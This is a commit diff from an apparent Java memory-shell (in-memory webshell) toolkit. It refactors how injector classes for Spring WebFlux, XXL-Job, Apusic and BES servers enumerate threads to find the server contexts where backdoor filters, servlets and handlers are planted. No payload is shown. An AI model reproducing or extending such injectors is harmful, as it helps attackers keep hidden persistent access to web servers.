style: unify fetch threads

Author: ReaJason

memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerFunctionInjector.java

@@ -10,6 +10,7 @@
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.List;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -45,7 +46,7 @@ public SpringWebFluxHandlerFunctionInjector() {
     }
 
     public Object getWebHandler() throws Exception {
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getClass().getName().contains("NettyWebServer")) {
                 Object nettyWebServer = getFieldValue(thread, "this$0");

memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerMethodInjector.java

@@ -13,6 +13,7 @@
 import java.lang.reflect.Method;
 import java.util.Collection;
 import java.util.List;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -48,7 +49,7 @@ public SpringWebFluxHandlerMethodInjector() {
     }
 
     public Object getWebHandler() throws Exception {
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getClass().getName().contains("NettyWebServer")) {
                 Object nettyWebServer = getFieldValue(thread, "this$0");

memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java

@@ -12,6 +12,7 @@
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.net.SocketAddress;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -45,11 +46,8 @@ public SpringWebFluxNettyHandlerInjector() {
     private Class<?> handlerClass;
 
     public Object getNettyServer() throws Exception {
-        ThreadGroup group = Thread.currentThread().getThreadGroup();
-        Field threads = group.getClass().getDeclaredField("threads");
-        threads.setAccessible(true);
-        Thread[] allThreads = (Thread[]) threads.get(group);
-        for (Thread thread : allThreads) {
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
             if (thread.getClass().getName().contains("NettyWebServer")) {
                 return thread;
             }

memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxWebFilterInjector.java

@@ -12,6 +12,7 @@
 import java.lang.reflect.Method;
 import java.util.ArrayList;
 import java.util.List;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -47,9 +48,7 @@ public SpringWebFluxWebFilterInjector() {
     }
 
     public FilteringWebHandler getWebHandler() throws Exception {
-        Method getThreads = Thread.class.getDeclaredMethod("getThreads");
-        getThreads.setAccessible(true);
-        Thread[] threads = (Thread[]) getThreads.invoke(null);
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getClass().getName().contains("NettyWebServer")) {
                 Object nettyWebServer = getFieldValue(thread, "this$0");

memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java

@@ -15,6 +15,7 @@
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.HashSet;
+import java.util.Set;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.ThreadPoolExecutor;
 import java.util.concurrent.TimeUnit;
@@ -81,11 +82,8 @@ private Class<?> getShellClass() throws Exception {
     }
 
     public void inject() throws Exception {
-        ThreadGroup group = Thread.currentThread().getThreadGroup();
-        Field threads = group.getClass().getDeclaredField("threads");
-        threads.setAccessible(true);
-        Thread[] allThreads = (Thread[]) threads.get(group);
-        for (Thread thread : allThreads) {
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
             if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
                 Object target;
 

memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

@@ -8,6 +8,7 @@
 import java.lang.reflect.Method;
 import java.util.ArrayList;
 import java.util.List;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -46,7 +47,7 @@ public String getBase64String() throws IOException {
 
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("HouseKeeper")) {
                 contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));

memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

@@ -7,6 +7,7 @@
 import java.lang.reflect.Method;
 import java.util.ArrayList;
 import java.util.List;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -44,7 +45,7 @@ public String getBase64String() throws IOException {
 
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("HouseKeeper")) {
                 contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));

memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

@@ -7,6 +7,7 @@
 import java.lang.reflect.Method;
 import java.util.ArrayList;
 import java.util.List;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -45,7 +46,7 @@ public String getBase64String() throws IOException {
 
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("HouseKeeper")) {
                 contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));

memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java

@@ -47,7 +47,7 @@ public String getBase64String() throws IOException {
 
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
                 Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");

memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

@@ -43,7 +43,7 @@ public BesListenerInjector() {
 
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
                 Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");